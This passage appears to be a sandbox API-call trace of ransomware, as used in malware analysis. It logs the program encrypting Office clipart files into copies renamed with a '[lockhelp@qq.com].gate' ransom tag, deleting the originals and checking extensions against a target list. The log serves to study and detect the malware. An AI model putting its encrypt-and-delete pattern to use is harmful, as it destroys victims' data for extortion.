WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x43d0, lpOverlapped=0x0) returned 1 [0317.957] ReadFile (in: hFile=0x554, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0317.957] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0317.957] SetEndOfFile (hFile=0x50c) returned 1 [0317.957] CloseHandle (hObject=0x50c) returned 1 [0317.957] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.957] SetEndOfFile (hFile=0x554) returned 1 [0317.960] CloseHandle (hObject=0x554) returned 1 [0317.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0317.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0317.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0317.961] lstrlenW (lpString=".doc") returned 4 [0317.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0317.961] lstrlenW (lpString=".docx") returned 5 [0317.961] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0317.961] lstrlenW (lpString=".pdf") returned 4 [0317.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0317.961] lstrlenW (lpString=".xls") returned 4 [0317.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0317.961] lstrlenW (lpString=".xlsx") returned 5 [0317.961] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0317.961] lstrlenW (lpString=".ppt") returned 4 [0317.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0317.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0317.961] lstrlenW (lpString=".zip") returned 4 [0317.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0317.961] lstrlenW (lpString=".rar") returned 4 [0317.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0317.961] lstrlenW (lpString=".bz2") returned 4 [0317.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0317.961] lstrlenW (lpString=".7z") returned 3 [0317.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0317.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0317.962] lstrlenW (lpString=".dbf") returned 4 [0317.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0317.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0317.962] lstrlenW (lpString=".1cd") returned 4 [0317.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0317.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0317.962] lstrlenW (lpString=".jpg") returned 4 [0317.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0317.962] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=5632) returned 1 [0317.962] CloseHandle (hObject=0x554) returned 1 [0317.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220 [0317.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0317.963] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.963] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0317.964] GetLastError () returned 0x0 [0317.964] ReadFile (in: hFile=0x554, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1600, lpOverlapped=0x0) returned 1 [0318.018] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1610, lpOverlapped=0x0) returned 1 [0318.019] ReadFile (in: hFile=0x554, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0318.019] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0318.019] SetEndOfFile (hFile=0x50c) returned 1 [0318.019] CloseHandle (hObject=0x50c) returned 1 [0318.019] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.019] SetEndOfFile (hFile=0x554) returned 1 [0318.021] CloseHandle (hObject=0x554) returned 1 [0318.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0318.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0318.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0318.023] lstrlenW (lpString=".doc") returned 4 [0318.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.023] lstrlenW (lpString=".docx") returned 5 [0318.023] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0318.023] lstrlenW (lpString=".pdf") returned 4 [0318.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.023] lstrlenW (lpString=".xls") returned 4 [0318.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.023] lstrlenW (lpString=".xlsx") returned 5 [0318.023] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0318.023] lstrlenW (lpString=".ppt") returned 4 [0318.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0318.023] lstrlenW (lpString=".zip") returned 4 [0318.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.023] lstrlenW (lpString=".rar") returned 4 [0318.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.023] lstrlenW (lpString=".bz2") returned 4 [0318.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.023] lstrlenW (lpString=".7z") returned 3 [0318.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0318.023] lstrlenW (lpString=".dbf") returned 4 [0318.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0318.023] lstrlenW (lpString=".1cd") returned 4 [0318.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0318.023] lstrlenW (lpString=".jpg") returned 4 [0318.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.077] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3444) returned 1 [0318.077] CloseHandle (hObject=0x318) returned 1 [0318.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220 [0318.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0318.079] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.079] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0318.080] GetLastError () returned 0x0 [0318.080] ReadFile (in: hFile=0x33c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xd74, lpOverlapped=0x0) returned 1 [0318.128] WriteFile (in: hFile=0x340, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xd80, lpOverlapped=0x0) returned 1 [0318.128] ReadFile (in: hFile=0x33c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0318.128] WriteFile (in: hFile=0x340, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0318.129] SetEndOfFile (hFile=0x340) returned 1 [0318.129] CloseHandle (hObject=0x340) returned 1 [0318.129] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.129] SetEndOfFile (hFile=0x33c) returned 1 [0318.131] CloseHandle (hObject=0x33c) returned 1 [0318.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0318.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0318.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0318.132] lstrlenW (lpString=".doc") returned 4 [0318.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.132] lstrlenW (lpString=".docx") returned 5 [0318.132] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0318.132] lstrlenW (lpString=".pdf") returned 4 [0318.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.132] lstrlenW (lpString=".xls") returned 4 [0318.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.133] lstrlenW (lpString=".xlsx") returned 5 [0318.133] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0318.133] lstrlenW (lpString=".ppt") returned 4 [0318.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0318.133] lstrlenW (lpString=".zip") returned 4 [0318.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.133] lstrlenW (lpString=".rar") returned 4 [0318.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.133] lstrlenW (lpString=".bz2") returned 4 [0318.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.133] lstrlenW (lpString=".7z") returned 3 [0318.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0318.133] lstrlenW (lpString=".dbf") returned 4 [0318.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0318.133] lstrlenW (lpString=".1cd") returned 4 [0318.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0318.133] lstrlenW (lpString=".jpg") returned 4 [0318.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.133] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11532) returned 1 [0318.133] CloseHandle (hObject=0x33c) returned 1 [0318.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220 [0318.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0318.134] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.134] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0318.135] GetLastError () returned 0x0 [0318.135] ReadFile (in: hFile=0x33c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x2d0c, lpOverlapped=0x0) returned 1 [0318.220] WriteFile (in: hFile=0x340, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d10, lpOverlapped=0x0) returned 1 [0318.221] ReadFile (in: hFile=0x33c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0318.221] WriteFile (in: hFile=0x340, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0318.222] SetEndOfFile (hFile=0x340) returned 1 [0318.222] CloseHandle (hObject=0x340) returned 1 [0318.222] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.222] SetEndOfFile (hFile=0x33c) returned 1 [0318.226] CloseHandle (hObject=0x33c) returned 1 [0318.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0318.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0318.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0318.228] lstrlenW (lpString=".doc") returned 4 [0318.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.228] lstrlenW (lpString=".docx") returned 5 [0318.228] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0318.228] lstrlenW (lpString=".pdf") returned 4 [0318.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.228] lstrlenW (lpString=".xls") returned 4 [0318.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.228] lstrlenW (lpString=".xlsx") returned 5 [0318.228] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0318.228] lstrlenW (lpString=".ppt") returned 4 [0318.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0318.228] lstrlenW (lpString=".zip") returned 4 [0318.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.228] lstrlenW (lpString=".rar") returned 4 [0318.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.228] lstrlenW (lpString=".bz2") returned 4 [0318.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.228] lstrlenW (lpString=".7z") returned 3 [0318.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0318.228] lstrlenW (lpString=".dbf") returned 4 [0318.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0318.228] lstrlenW (lpString=".1cd") returned 4 [0318.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0318.228] lstrlenW (lpString=".jpg") returned 4 [0318.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.229] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11228) returned 1 [0318.229] CloseHandle (hObject=0x33c) returned 1 [0318.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220 [0318.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0318.230] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.230] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0318.231] GetLastError () returned 0x0 [0318.231] ReadFile (in: hFile=0x33c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x2bdc, lpOverlapped=0x0) returned 1 [0318.398] WriteFile (in: hFile=0x340, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2be0, lpOverlapped=0x0) returned 1 [0318.399] ReadFile (in: hFile=0x33c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0318.399] WriteFile (in: hFile=0x340, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0318.399] SetEndOfFile (hFile=0x340) returned 1 [0318.400] CloseHandle (hObject=0x340) returned 1 [0318.400] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.400] SetEndOfFile (hFile=0x33c) returned 1 [0318.402] CloseHandle (hObject=0x33c) returned 1 [0318.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0318.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0318.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0318.570] lstrlenW (lpString=".doc") returned 4 [0318.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.570] lstrlenW (lpString=".docx") returned 5 [0318.570] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0318.570] lstrlenW (lpString=".pdf") returned 4 [0318.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.570] lstrlenW (lpString=".xls") returned 4 [0318.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.570] lstrlenW (lpString=".xlsx") returned 5 [0318.570] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0318.570] lstrlenW (lpString=".ppt") returned 4 [0318.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0318.571] lstrlenW (lpString=".zip") returned 4 [0318.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.571] lstrlenW (lpString=".rar") returned 4 [0318.571] lstrcmpiW 